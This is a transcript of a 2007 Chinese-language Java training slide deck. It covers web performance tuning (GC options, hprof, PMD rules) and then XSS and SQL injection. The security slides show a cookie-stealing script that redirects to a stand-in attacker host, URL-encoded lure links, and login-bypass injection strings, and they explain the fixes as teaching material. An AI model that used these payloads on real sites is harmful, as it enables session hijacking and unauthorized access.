Java Web 程式之效能技巧與安全防護
-
Upload
justin-lin -
Category
Technology
-
view
1.482 -
download
10
description
Transcript of Java Web 程式之效能技巧與安全防護
1
Java Web 程式之 效能技巧與安全防護
林信良
教育訓練講師暨技術顧問
昇陽電腦
1
2007 Java Certification Day
2
Agenda
1 – Web 效能概觀
2 – 效能量測工具
3 – 程式碼分析
4 - Web 安全概觀
5 – 跨網站指令稿攻擊(Cross-site scripting)
6 – 隱碼攻擊(SQL Injection)
2
Sun Confidential: Internal Only 3
Web 效能概觀
• 所有程式都受到三種系統限制 > CPU速度
> 記憶體
> 輸出/輸入
Footnote position, 12 pts.
Sun Confidential: Internal Only 4
CPU-bound類型的程式
• 著重在提昇程式效率的演算法
Sun Confidential: Internal Only 5
記憶體
• Java 有垃圾收集 > 可以沒有顧忌的配置物件?
> 系統中有太多短命的物件?
• 大型物件浪費記憶體 > 建立物件、垃圾收集
Sun Confidential: Internal Only 6
輸入/輸出
• 輸出輸入絕對會拖慢程式 > 磁碟存取(檔案讀寫、日誌…)
> 資料庫存取(增、刪、查、找…)
> 網路存取(DNS反查…)
Sun Confidential: Internal Only 7
從1到100
• 撰寫一個程式,可在文字模式上顯示
Footnote position, 12 pts.
HOW DO YOU DO
Sun Confidential: Internal Only 8
How do you do
• 在迴圈中經常犯的兩種錯誤 > 非必要的輸出/輸入
> 非必要的建構物件
for(int i = 1; i < 100; i++) {
System.out.print(i + "+");
}
System.out.println(100);
Sun Confidential: Internal Only 9
How do you do
• 改進了輸出
String output = "";
for(int i = 1; i < 100; i++) {
output = output + i + "+";
}
output += 100;
System.out.println(output);
一次 IO
Sun Confidential: Internal Only 10
How do you do
• 物件的重用(一)
StringBuffer output = new StringBuffer();
for(int i = 1; i < 100; i++) {
output.append(i);
output.append("+");
}
output.append(100);
System.out.println(output); 重用物件
Sun Confidential: Internal Only 11
How do you do
• 物件的重用(二)
StringBuffer output = new StringBuffer(300);
for(int i = 1; i < 100; i++) {
output.append(i);
output.append("+");
}
output.append(100);
System.out.println(output); 預設16字元
Sun Confidential: Internal Only 12
How do you do
• 執行緒議題
StringBuilder output = new StringBuilder(300);
for(int i = 1; i < 100; i++) {
output.append(i);
output.append("+");
}
output.append(100);
System.out.println(output); JDK 5.0以上
Sun Confidential: Internal Only 13
效能量測工具
• 觀察GC -verbosegc
• 程式執行效率 -Xrunhprof
• JDK 5.0之後的工具 jconsole
• Profiler > NetBeans Profiler
Sun Confidential: Internal Only 14
觀察GC
• 啟動JVM時的選項,可觀察 > 物件所佔據的時間與空間
> 回收時所釋放的空間
C:\>java -verbosegc -jar "C:\Program Files\Java\jdk1.6.0_01\demo\jfc\
Notepad\NotePad.jar"
Sun Confidential: Internal Only 15
觀察GC
Sun Confidential: Internal Only 16
觀察GC
• C:\>java -verbosegc -XX:+PrintGCDetails-jar "C:\Program Files\Java\jdk1.6.0_01\demo\jfc\Notepad\NotePad.jar"
Sun Confidential: Internal Only 17
觀察GC
• Heap區是分Generation管理的
• 針對不同的Generation採不同的GC演算法
Sun Confidential: Internal Only 18
觀察GC
• 預設的JVM假設物件是infant mortality > 在建構之後,很快就會成為垃圾
> 例如Iterator物件
• 物件一開始是分配在Eden > 多數的物件成為垃圾
> 填滿時引發minor collection
> 在當中存活的物件被複製到Tenured generation
• Tenured generation會使用major collection > 通常比較慢,因為包括所有的物件
Sun Confidential: Internal Only 19
觀察GC
• GC運行時,應用程式不作任何事 > 呼叫System.gc()
> Heap區太小,預設值都很小
> 頻繁的建構、釋放物件
• 最基本的是調整Heap分配 > Xms
> Xmx
> Xmn
Sun Confidential: Internal Only 20
觀察GC
• 預設值通常不適用大型主機 > 初始heap區通常很小,要經過多次major
collection
> 最大heap區通常也不適用
• 簡單的設定 > Server端JVM最好將-Xms和-Xmx設為相同值
> 最好-Xmn值约等於-Xmx的1/3
> 如果每次GC後,heap的剩餘空間是總空間的50%,表示Heap處於健康狀態
> Server端Java程式每次GC後最好能有65%剩餘空間
Sun Confidential: Internal Only 21
程式執行效率
• 定期對call stack進行取樣 > 得知目前正在stack頂端的方法
> 可計算哪個部份花費最多執行時間
• java -Xrunhprof:help > java -Xrunhprof:cpu=samples
> java -Xrunhprof:cpu=times
Sun Confidential: Internal Only 22
程式執行效率
• java -Xrunhprof:cpu=samples,depth=6 TestHprof
• java.hprof.txt
CPU SAMPLES BEGIN (total = 109) Thu Mar 22 13:54:45 2007
rank self accum count trace method
1 21.10% 21.10% 23 300041 java.lang.AbstractStringBuilder.expandCapacity
2 17.43% 38.53% 19 300052 java.lang.AbstractStringBuilder.expandCapacity
3 12.84% 51.38% 14 300047 java.lang.AbstractStringBuilder.expandCapacity
4 6.42% 57.80% 7 300046 java.lang.AbstractStringBuilder.append
5 5.50% 63.30% 6 300050 java.lang.String.<init>
6 5.50% 68.81% 6 300053 java.lang.String.<init>
7 3.67% 72.48% 4 300048 java.lang.AbstractStringBuilder.append
8 3.67% 76.15% 4 300045 java.lang.String.<init>
Sun Confidential: Internal Only 23
TRACE 300041: (thread=200001)
java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99)
java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393)
java.lang.StringBuilder.append(StringBuilder.java:120)
TestHprof.addToCat(TestHprof.java:15)
TestHprof.makeString(TestHprof.java:10)
TestHprof.main(TestHprof.java:54)
TRACE 300052: (thread=200001)
java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99)
java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393)
java.lang.StringBuilder.append(StringBuilder.java:120)
TestHprof.makeStringWithLocal(TestHprof.java:28)
TestHprof.main(TestHprof.java:56)
TRACE 300047: (thread=200001)
java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99)
java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393)
java.lang.StringBuilder.append(StringBuilder.java:120)
TestHprof.makeStringInline(TestHprof.java:21)
TestHprof.main(TestHprof.java:55)
Sun Confidential: Internal Only 24
jconsole
• JDK 5.0之後
Sun Confidential: Internal Only 25
jconsole
Sun Confidential: Internal Only 26
jconsole
Sun Confidential: Internal Only 27
Profiler
• NetBeans Profiler > http://www.netbeans.org/products/profiler/
> http://www.netbeans.org/kb/55/profiler-tutorial.html
Sun Confidential: Internal Only 28
效能分析
Sun Confidential: Internal Only 29
選擇分析方法
Sun Confidential: Internal Only 30
過濾器(Filter)
Sun Confidential: Internal Only 31
過濾器(Filter)
Sun Confidential: Internal Only 32
分析呼叫堆疊與取樣
Sun Confidential: Internal Only 33
程式碼分析
• LocalVariableCouldBeFinal > 區域變數只被設值一次時應宣告為 final
• MethodArgumentCouldBeFinal > 方法的參數如果不會被設值則應宣告為 final
• AvoidInstantiatingObjectsInLoops > 偵測是否在迴圈中建立新的物件實體
• UseArrayListInsteadOfVector > 建議以 ArrayList 取代 Vector
Sun Confidential: Internal Only 34
程式碼分析
• SimplifyStartsWith > 當字串字面值的長度為 1 時,建議改以 String.charAt(0) 代替 String.startsWith 以增進效能
• UseStringBufferForStringAppends > 建議字串結合以 StringBuffer 取代
• UseArraysAsList > 建議用Arrays.asList 由物件陣列來轉換成 List 而不是以迴圈的方式建立 List
• AvoidArrayLoops > 以 System.arrayCopy 取代迴圈的方式複製陣列
• UnnecessaryWrapperObjectCreation > 建立移除不必要的外覆物件,應直接傳遞原始物件較佳
Sun Confidential: Internal Only 35
程式碼分析
• http://pmd.sourceforge.net/
• PMD scans Java source code and looks for potential problems like: > Possible bugs - empty try/catch/finally/switch
statements > Dead code - unused local variables, parameters and
private methods > Suboptimal code - wasteful String/StringBuffer
usage > Overcomplicated expressions - unnecessary if
statements, for loops that could be while loops > Duplicate code - copied/pasted code means
copied/pasted bugs
Sun Confidential: Internal Only 36
程式碼分析
Sun Confidential: Internal Only 37
程式碼分析
Sun Confidential: Internal Only 38
Web 安全概觀
• 研究:91%的網站都有漏洞 > Cross Site Scripting
> SQL Injection
> …
> Improper Error Handling
Sun Confidential: Internal Only 39
跨網站指令稿攻擊
• Cross-site scripting(XSS)
• 會話劫奪(Session hijacking)
• 釣魚(Phishing)
• 特徵 > 使用者輸入的資料沒有過濾
> 網站直接回送使用者輸出的資料
Sun Confidential: Internal Only 40
XSS:Session hijacking
• 例如搜尋功能回送使用者輸入的查詢字串
Could not find any documents including ‘foo’
Sun Confidential: Internal Only 41
XSS:Session hijacking
Could not find any documents including ‘foo’
Could not find any documents including ‘<b>foo</b>’
Search <b>foo</b>
Sun Confidential: Internal Only 42
XSS:Session hijacking
Could not find any documents including
‘<script language=‘javascript’>alert(document.cookie)</script>’
<script language=‘javascript’>alert(document.cookie)</script>
Sun Confidential: Internal Only 43
XSS:Session hijacking
入侵
www.hahaorz.com
www.xssorz.com
http://www.xssorz.com/search?query=foo
Sun Confidential: Internal Only 44
XSS:Session hijacking
入侵
www.hahaorz.com
www.xssorz.com
http://www.xssorz.com/search?query=foo
<script
language='javascript'>document.location="http://ww
w.hahaorz.com/foo" +document.cookie</script>
Sun Confidential: Internal Only 45
XSS:Session hijacking
入侵
www.hahaorz.com
www.xssorz.com
http://www.xssorz.com/search?query=foo
%3Cscript+language%3D%27javascript%27%3Edocu
ment.cookies%3C%2Fscript%3E
Sun Confidential: Internal Only 46
XSS:Session hijacking
入侵
www.hahaorz.com
www.xssorz.com
http://www.xssorz.com/search?query%3Cs
cript+language%3D%27javascript%27%3E
document.cookies%3C%2Fscript%3E
www.e04orz.com
Sun Confidential: Internal Only 47
XSS:Session hijacking
入侵
www.hahaorz.com
www.xssorz.com
<a href =http://www.xssorz.com/search?query%3C
script+language%3D%27javascript%27%3Edocumen
t.cookies%3C%2Fscript%3E
>可以找到很多美女圖^o^</a>
www.e04orz.com
Sun Confidential: Internal Only 48
XSS:Session hijacking
入侵
www.hahaorz.com
www.xssorz.com
www.e04orz.com
可以找到很多猛男圖^o^
Sun Confidential: Internal Only 49
XSS:Session hijacking
入侵
www.hahaorz.com
www.xssorz.com
www.e04orz.com
可以找到很多猛男圖^o^
JSESSIONID=0146B416F…
Sun Confidential: Internal Only 50
XSS:Phishing <script language='javascript'>document.location="http://www.svn.com/foo"
+document.cookie</script>
留言版、討論區 http://java.sun.com/forum
Sun Confidential: Internal Only 51
XSS:Phishing <script language='javascript'>document.location="http://www.svn.com/foo"
+document.cookie</script>
留言版、討論區 http://java.svn.com/forum
http://java.svn.com/forum
Sun Confidential: Internal Only 52
XSS
• 過濾請求資料 > < <
> > >
> <script>
Sun Confidential: Internal Only 53
隱碼攻擊
• SQL Injection
Statement statement = connection.createStatement();
String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
username + “’ AND PASSWORD=‘” + password + “’;”;
ResultSet resultSet = statement.executeQuery(queryString);
“SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
username + “’ AND PASSWORD=‘” + password + “’;”
名稱: 密碼:
Sun Confidential: Internal Only 54
SQL Injection
Statement statement = connection.createStatement();
String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
username + “’ AND PASSWORD=‘” + password + “’;”;
ResultSet resultSet = statement.executeQuery(queryString);
“SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’ AND
PASSWORD=‘123456’;
名稱: 密碼: caterpillar 123456
Sun Confidential: Internal Only 55
SQL Injection
Statement statement = connection.createStatement();
String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
username + “’ AND PASSWORD=‘” + password + “’;”;
ResultSet resultSet = statement.executeQuery(queryString);
“SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’ AND
PASSWORD=‘‘ OR ‘1’=‘1’;
名稱: 密碼: caterpillar ‘ OR ‘1’=‘1
總是為true
Sun Confidential: Internal Only 56
SQL Injection
Statement statement = connection.createStatement();
String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
username + “’ AND PASSWORD=‘” + password + “’;”;
ResultSet resultSet = statement.executeQuery(queryString);
“SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’;# AND
PASSWORD=‘‘ OR ‘’;
名稱: 密碼: caterpillar’;#
註解符號
Sun Confidential: Internal Only 57
SQL Injection
• 使用PreparedStatement
• 過濾請求資料 > 單引號 '
> 雙引號 "
PreparedStatement stmt = conn.prepareStatement(
“SELECT * FROM USER_TABLE WHERE USERNAME=? AND
PASSWORD=?");
Sun Confidential: Internal Only 58
自動檢測安全工具
• 在開發程式的過程中帶入安全觀念與工具 > 在程式撰寫階段應用安全掃描工具
> 在測試階段實行滲透(permeation)測試
> 對已上線的產品進行補強
Sun Confidential: Internal Only 59
自動檢測安全工具
• Watchfire Web Appscan
• Acunetrix
• Fortify
60
Thanks 林信良
教育訓練講師暨技術顧問
昇陽電腦
60